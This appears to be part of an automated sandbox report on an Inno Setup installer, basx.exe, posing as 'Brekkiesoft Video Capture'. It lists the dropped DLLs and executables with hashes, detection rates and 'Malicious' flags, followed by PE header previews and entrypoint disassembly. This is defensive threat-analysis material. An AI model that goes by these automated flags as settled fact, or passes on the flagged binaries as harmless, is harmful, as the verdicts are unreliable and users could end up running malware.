                                                                                        Preview:ITSF....`..........E.......|.{.......".....|.{......."..`...............x.......T.......................g1..............ITSP....T...........................................j..].!......."..T...............PMGLW................/..../#IDXHDR...F.../#ITBITS..../#IVB...N$./#STRINGS.....P./#SYSTEM..N.'./#TOPICS...F.0./#URLSTR...:.t./#URLTBL...v.D./$FIftiMain......1./$OBJINST...z.../$WWAssociativeLinks/..../$WWAssociativeLinks/Property...v../$WWKeywordLinks/..../$WWKeywordLinks/Property...r../After.jpg...4..../Auto-.hhc...^./Auto-Adjustment.htm....?./Auto-BleachTeeth.htm...z.3./Auto-Crop2Plus.htm..U.j./Auto-Emphasis.htm...w.V./Auto-EyeColor.htm...!.../Auto-EyePencil.htm..._.../Auto-EyeShadow.htm...,.3./Auto-GettingStarted.htm....Q./Auto-Lipstick.htm..R.M./Auto-Liquify.htm...-.v./Auto-Menu.htm..S.r./Auto-OrderingInformation.htm...Q.../Auto-Overview.htm..^.$./Auto-Powder.htm......./Auto-Resize.htm..s.b./Auto-Rotation.htm..?.e./Auto-Rouge.htm...=.d./Auto-SkinCare.htm...|.{./Auto-SmartPatchCosmet
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):1645320
                                                                                        Entropy (8bit):6.787752063353702
                                                                                        Encrypted:false
                                                                                        SSDEEP:24576:Fk18V2mHkfIE3Ip9vkWEgDecZV3W9kpOuRw8RhWd5Ixwzr6lOboU7j97S9D+z98v:FZNkf+uW3D1ZVG9kVw8I5Rv6lwH9+X
                                                                                        MD5:871C903A90C45CA08A9D42803916C3F7
                                                                                        SHA1:D962A12BC15BFB4C505BB63F603CA211588958DB
                                                                                        SHA-256:F1DA32183B3DA19F75FA4EF0974A64895266B16D119BBB1DA9FE63867DBA0645
                                                                                        SHA-512:985B0B8B5E3D96ACFD0514676D9F0C5D2D8F11E31F01ACFA0F7DA9AF3568E12343CA77F541F55EDDA6A0E5C14FE733BDA5DC1C10BB170D40D15B7A60AD000145
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s...7o..7o..7o...L..<o..7o..en...L..$o...L...o...L..6o...L..6o...L..(n...L..6o..Rich7o..................PE..L.....D@...........!.........`.......Q.......`.....p................................................................l...CN..|...x....p...........................s.....8...............................................0............................text...n........................... ..`.data...X...........................@...Shared.......`.......P..............@....rsrc........p... ...`..............@..@.reloc...s..........................@..B................................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):445440
                                                                                        Entropy (8bit):6.439135831549689
                                                                                        Encrypted:false
                                                                                        SSDEEP:12288:sosmML3+OytpWFkCU1wayvT33iiDNmAE27R9sY9kP0O+:soslvJ3RaY9wU
                                                                                        MD5:CAC7E17311797C5471733638C0DC1F01
                                                                                        SHA1:58E0BD1B63525A2955439CB9BE3431CEA7FF1121
                                                                                        SHA-256:19248357ED7CFF72DEAD18B5743BF66C61438D68374BDA59E3B9D444C6F8F505
                                                                                        SHA-512:A677319AC8A2096D95FFC69F22810BD4F083F6BF55B8A77F20D8FB8EE01F2FEE619CE318D1F55C392A8F3A4D635D9285712E2C572E62997014641C36EDC060A2
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...*..=...........!.........\......@!....................................... .......................'..........................P.......H.......................l....................................................................................text............................... ..`.rdata..2$.......&..................@..@.data...............................@....idata..............................@....rsrc...H...........................@..@.reloc...&.......(..................@..B................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):348160
                                                                                        Entropy (8bit):6.542655141037356
                                                                                        Encrypted:false
                                                                                        SSDEEP:6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
                                                                                        MD5:86F1895AE8C5E8B17D99ECE768A70732
                                                                                        SHA1:D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
                                                                                        SHA-256:8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
                                                                                        SHA-512:3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):265728
                                                                                        Entropy (8bit):6.4472652154517345
                                                                                        Encrypted:false
                                                                                        SSDEEP:6144:Fs7u3JL96d15Y2BmKh678IuYAhN3YCjlgiZioXyLWvCe93rZ5WZOlUmpNJ5mlbb/:e7WJL96d15Y2BmKh678IuYAhN3YCjlgw
                                                                                        MD5:752CA72DE243F44AF2ED3FF023EF826E
                                                                                        SHA1:7B508F6B72BD270A861B368EC9FE4BF55D8D472F
                                                                                        SHA-256:F8196F03F8CBED87A92BA5C1207A9063D4EEBB0C22CA88A279F1AE1B1F1B8196
                                                                                        SHA-512:4E5A7242C25D4BBF9087F813D4BF057432271A0F08580DA8C894B7C290DE9E0CF640F6F616B0B6C6CAD14DC0AFDD2697D2855BA4070270824540BAE835FE8C4A
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..=...........!................`;.......................................P.......................'..............p...o.......d.... .......................0..\.......................................................4............................text...k........................... ..`.rdata..............................@..@.data....9.......0..................@....idata..............................@....rsrc........ ......................@..@.reloc..T....0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):445440
                                                                                        Entropy (8bit):6.439135831549689
                                                                                        Encrypted:false
                                                                                        SSDEEP:12288:sosmML3+OytpWFkCU1wayvT33iiDNmAE27R9sY9kP0O+:soslvJ3RaY9wU
                                                                                        MD5:CAC7E17311797C5471733638C0DC1F01
                                                                                        SHA1:58E0BD1B63525A2955439CB9BE3431CEA7FF1121
                                                                                        SHA-256:19248357ED7CFF72DEAD18B5743BF66C61438D68374BDA59E3B9D444C6F8F505
                                                                                        SHA-512:A677319AC8A2096D95FFC69F22810BD4F083F6BF55B8A77F20D8FB8EE01F2FEE619CE318D1F55C392A8F3A4D635D9285712E2C572E62997014641C36EDC060A2
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...*..=...........!.........\......@!....................................... .......................'..........................P.......H.......................l....................................................................................text............................... ..`.rdata..2$.......&..................@..@.data...............................@....idata..............................@....rsrc...H...........................@..@.reloc...&.......(..................@..B................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):499712
                                                                                        Entropy (8bit):6.414789978441117
                                                                                        Encrypted:false
                                                                                        SSDEEP:12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
                                                                                        MD5:561FA2ABB31DFA8FAB762145F81667C2
                                                                                        SHA1:C8CCB04EEDAC821A13FAE314A2435192860C72B8
                                                                                        SHA-256:DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
                                                                                        SHA-512:7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):348160
                                                                                        Entropy (8bit):6.542655141037356
                                                                                        Encrypted:false
                                                                                        SSDEEP:6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
                                                                                        MD5:86F1895AE8C5E8B17D99ECE768A70732
                                                                                        SHA1:D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
                                                                                        SHA-256:8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
                                                                                        SHA-512:3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):645592
                                                                                        Entropy (8bit):6.50414583238337
                                                                                        Encrypted:false
                                                                                        SSDEEP:12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
                                                                                        MD5:E477A96C8F2B18D6B5C27BDE49C990BF
                                                                                        SHA1:E980C9BF41330D1E5BD04556DB4646A0210F7409
                                                                                        SHA-256:16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
                                                                                        SHA-512:335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):717985
                                                                                        Entropy (8bit):6.514892762109474
                                                                                        Encrypted:false
                                                                                        SSDEEP:12288:5TPcYn5c/rPx37/zHBA6a5UeYpthr1CERAgrNuR+cIq5MRxyFW:pPcYn5c/rPx37/zHBA6pFptZ1CEhqMRP
                                                                                        MD5:3D980E66654B6000D5D70CF137B56E1B
                                                                                        SHA1:49CC7B58DD461A21F2AB81545D71820B7DF921EA
                                                                                        SHA-256:73653CC7CF03FD06D7396E928CA524CD391B2BD061B031DA99F4E81E161B14B2
                                                                                        SHA-512:1F901F98FA687FFA86D2B07FC9D0123444889D4BC4C1C2AD29E2F3750D3F7DAB3CEB87ED8FA4F62BB8E063234699EE2ACB39416418A188499ABA5DB301D10531
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 4%
                                                                                        Preview:MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................~........................@..............................................@...............................%..................................................................................................................CODE.....}.......~.................. ..`DATA................................@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................T..............@..P........................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:InnoSetup Log Brekkiesoft Video Capture, version 0x30, 5020 bytes, 942247\user, "C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33"
                                                                                        Category:dropped
                                                                                        Size (bytes):5020
                                                                                        Entropy (8bit):4.820438628842796
                                                                                        Encrypted:false
                                                                                        SSDEEP:96:Ah6bdWb38MpQ6o79f+eOIhga7ICSss/Ln3NGRw:2gdWb3npQ0HIhHICSsAnuw
                                                                                        MD5:307409AD2A0D8D03E46D0C26F83DF142
                                                                                        SHA1:68F1C4DC1F441D297A0936BC26F6BBB9F81A5F37
                                                                                        SHA-256:B2F63E03440D9DFD79BAC0B034F4519F9A6425851D628D87E3956B48FBE5ACCB
                                                                                        SHA-512:7C4627196A5A47EADC02F3290DA18A721C47E19C3E98BA6276CB3C98BB3F9FE8B460959E5CF8EB57F6906C88029A06809608D211FD2F755CF3C80107EDCB42C4
                                                                                        Malicious:false
                                                                                        Preview:Inno Setup Uninstall Log (b)....................................Brekkiesoft Video Capture.......................................................................................................Brekkiesoft Video Capture.......................................................................................................0...........%................................................................................................................N.............\......]....942247.user<C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33...........;.:.... ............IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):717985
                                                                                        Entropy (8bit):6.514892762109474
                                                                                        Encrypted:false
                                                                                        SSDEEP:12288:5TPcYn5c/rPx37/zHBA6a5UeYpthr1CERAgrNuR+cIq5MRxyFW:pPcYn5c/rPx37/zHBA6pFptZ1CEhqMRP
                                                                                        MD5:3D980E66654B6000D5D70CF137B56E1B
                                                                                        SHA1:49CC7B58DD461A21F2AB81545D71820B7DF921EA
                                                                                        SHA-256:73653CC7CF03FD06D7396E928CA524CD391B2BD061B031DA99F4E81E161B14B2
                                                                                        SHA-512:1F901F98FA687FFA86D2B07FC9D0123444889D4BC4C1C2AD29E2F3750D3F7DAB3CEB87ED8FA4F62BB8E063234699EE2ACB39416418A188499ABA5DB301D10531
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 4%
                                                                                        Preview:MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................~........................@..............................................@...............................%..................................................................................................................CODE.....}.......~.................. ..`DATA................................@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................T..............@..P........................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):2560
                                                                                        Entropy (8bit):2.8818118453929262
                                                                                        Encrypted:false
                                                                                        SSDEEP:24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
                                                                                        MD5:A69559718AB506675E907FE49DEB71E9
                                                                                        SHA1:BC8F404FFDB1960B50C12FF9413C893B56F2E36F
                                                                                        SHA-256:2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
                                                                                        SHA-512:E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):6144
                                                                                        Entropy (8bit):4.289297026665552
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:Sv1LfWvPcXegCPUo1vlZQrAxoONfHFZONfH3d1xCWMBFNL2pGSS4k+bkg6j0KHc:wfkcXegaJ/ZAYNzcld1xaX12pfSKvkc
                                                                                        MD5:C8871EFD8AF2CF4D9D42D1FF8FADBF89
                                                                                        SHA1:D0EACD5322C036554D509C7566F0BCC7607209BD
                                                                                        SHA-256:E4FC574A01B272C2D0AED0EC813F6D75212E2A15A5F5C417129DD65D69768F40
                                                                                        SHA-512:2735BB610060F749E26ACD86F2DF2B8A05F2BDD3DCCF3E4B2946EBB21BA0805FB492C474B1EEB2C5B8BF1A421F7C1B8728245F649C644F4A9ECC5BD8770A16F6
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....HP..........#............................@.............................`..............................................................<!.......P.......@..0.................................................................... ...............................text............................... ..`.rdata..|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc........P......................@..@................................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):23312
                                                                                        Entropy (8bit):4.596242908851566
                                                                                        Encrypted:false
                                                                                        SSDEEP:384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
                                                                                        MD5:92DC6EF532FBB4A5C3201469A5B5EB63
                                                                                        SHA1:3E89FF837147C16B4E41C30D6C796374E0B8E62C
                                                                                        SHA-256:9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
                                                                                        SHA-512:9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                        Process:C:\Users\user\Desktop\basx.exe
                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):706560
                                                                                        Entropy (8bit):6.506373118469941
                                                                                        Encrypted:false
                                                                                        SSDEEP:12288:RTPcYn5c/rPx37/zHBA6a5UeYpthr1CERAgrNuR+cIq5MRxyF:xPcYn5c/rPx37/zHBA6pFptZ1CEhqMRU
                                                                                        MD5:048F12CF9C44FE7D997B30F23A9A2228
                                                                                        SHA1:69949E9892B85A52869EE2F87BF09B19B4F1496B
                                                                                        SHA-256:B3724BBFDF84CAAD3D390F27EF5EB513909BBF5389900BEFF465332317E56AAB
                                                                                        SHA-512:5836BB02DB7F5DDB24823566B11324DAF657B32CC4AFB36BC8920F4874EB68C2C0A3964FCCA6E59423C5911F0907906C91217F3D132788AB41E50D53443CAAED
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 4%
                                                                                        Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................~........................@..............................................@...............................%..................................................................................................................CODE.....}.......~.................. ..`DATA................................@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................T..............@..P........................................................................................................................................
                                                                                        File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                        Entropy (8bit):7.9979858166836495
                                                                                        TrID:
                                                                                        • Win32 Executable (generic) a (10002005/4) 98.73%
                                                                                        • Inno Setup installer (109748/4) 1.08%
                                                                                        • Windows Screen Saver (13104/52) 0.13%
                                                                                        • Win16/32 Executable Delphi generic (2074/23) 0.02%
                                                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                        File name:basx.exe
                                                                                        File size:3'676'893 bytes
                                                                                        MD5:b385c83532528a9d5a92c2d5cc44ffa3
                                                                                        SHA1:727fe0f958774b5fef3bfc55e24474c57ee2c27b
                                                                                        SHA256:d4bed3ca2c916185e53c92d19ee226233e482e357f8aace74a99030e2d442a2a
                                                                                        SHA512:13f387cb6c7ce3b871f98fa7a559492874db9cb7a01c374bd0b01b28dcb9a555bdbd50d10e25e3ff5f14c7548d7f13a3c493c4dfe4ab9bc2882bbbaaee0dcb9a
                                                                                        SSDEEP:98304:MOBUkUbkcWazuH7F81bX1kOhQv50Rwrm5+DIQ5f9:U3bkcWZHquO0iwrm5+7
                                                                                        TLSH:59063316A5EB56F1C175CBBD4EBBD129C662FC03287832A732DD9F2E0967268507D380
                                                                                        File Content Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................
                                                                                        Icon Hash:2d2e3797b32b2b99
                                                                                        Entrypoint:0x40a5f8
                                                                                        Entrypoint Section:CODE
                                                                                        Digitally signed:false
                                                                                        Imagebase:0x400000
                                                                                        Subsystem:windows gui
                                                                                        Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                                                                                        DLL Characteristics:TERMINAL_SERVER_AWARE
                                                                                        Time Stamp:0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
                                                                                        TLS Callbacks:
                                                                                        CLR (.Net) Version:
                                                                                        OS Version Major:1
                                                                                        OS Version Minor:0
                                                                                        File Version Major:1
                                                                                        File Version Minor:0
                                                                                        Subsystem Version Major:1
                                                                                        Subsystem Version Minor:0
                                                                                        Import Hash:884310b1928934402ea6fec1dbd3cf5e
                                                                                        Instruction
                                                                                        push ebp
                                                                                        mov ebp, esp
                                                                                        add esp, FFFFFFC4h
                                                                                        push ebx
                                                                                        push esi
                                                                                        push edi
                                                                                        xor eax, eax
                                                                                        mov dword ptr [ebp-10h], eax
                                                                                        mov dword ptr [ebp-24h], eax
                                                                                        call 00007FD674F70F13h
                                                                                        call 00007FD674F7211Ah
                                                                                        call 00007FD674F723A9h
                                                                                        call 00007FD674F7244Ch
                                                                                        call 00007FD674F743EBh
                                                                                        call 00007FD674F76D56h
                                                                                        call 00007FD674F76EBDh
                                                                                        xor eax, eax
                                                                                        push ebp
                                                                                        push 0040ACC9h
                                                                                        push dword ptr fs:[eax]
                                                                                        mov dword ptr fs:[eax], esp
                                                                                        xor edx, edx
                                                                                        push ebp
                                                                                        push 0040AC92h
                                                                                        push dword ptr fs:[edx]
                                                                                        mov dword ptr fs:[edx], esp
                                                                                        mov eax, dword ptr [0040C014h]
                                                                                        call 00007FD674F7796Bh
                                                                                        call 00007FD674F77556h
                                                                                        cmp byte ptr [0040B234h], 00000000h
                                                                                        je 00007FD674F7844Eh
                                                                                        call 00007FD674F77A68h
                                                                                        xor eax, eax
                                                                                        call 00007FD674F71C09h
                                                                                        lea edx, dword ptr [ebp-10h]
                                                                                        xor eax, eax
                                                                                        call 00007FD674F749FBh
                                                                                        mov edx, dword ptr [ebp-10h]
                                                                                        mov eax, 0040CE28h
                                                                                        call 00007FD674F70FAAh
                                                                                        push 00000002h
                                                                                        push 00000000h
                                                                                        push 00000001h
                                                                                        mov ecx, dword ptr [0040CE28h]
                                                                                        mov dl, 01h
                                                                                        mov eax, 0040738Ch
                                                                                        call 00007FD674F7528Ah
                                                                                        mov dword ptr [0040CE2Ch], eax
                                                                                        xor edx, edx
                                                                                        push ebp
                                                                                        push 0040AC4Ah
                                                                                        push dword ptr fs:[edx]
                                                                                        mov dword ptr fs:[edx], esp
                                                                                        call 00007FD674F779C6h
                                                                                        mov dword ptr [0040CE34h], eax
                                                                                        mov eax, dword ptr [0040CE34h]
                                                                                        cmp dword ptr [eax+0Ch], 00000000h
                                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0xd0000x950.idata
                                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x110000x2c00.rsrc
                                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_TLS0xf0000x18.rdata
                                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
                                                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                        CODE0x10000x9d300x9e00c3bd95c4b1a8e5199981e0d9b45fd18cFalse0.6052709651898734data6.631765876950794IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                        DATA0xb0000x2500x4001ee71d84f1c77af85f1f5c278f880572False0.306640625data2.751820662285145IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                        BSS0xc0000xe8c0x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                        .idata0xd0000x9500xa00bb5485bf968b970e5ea81292af2acdbaFalse0.414453125data4.430733069799036IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
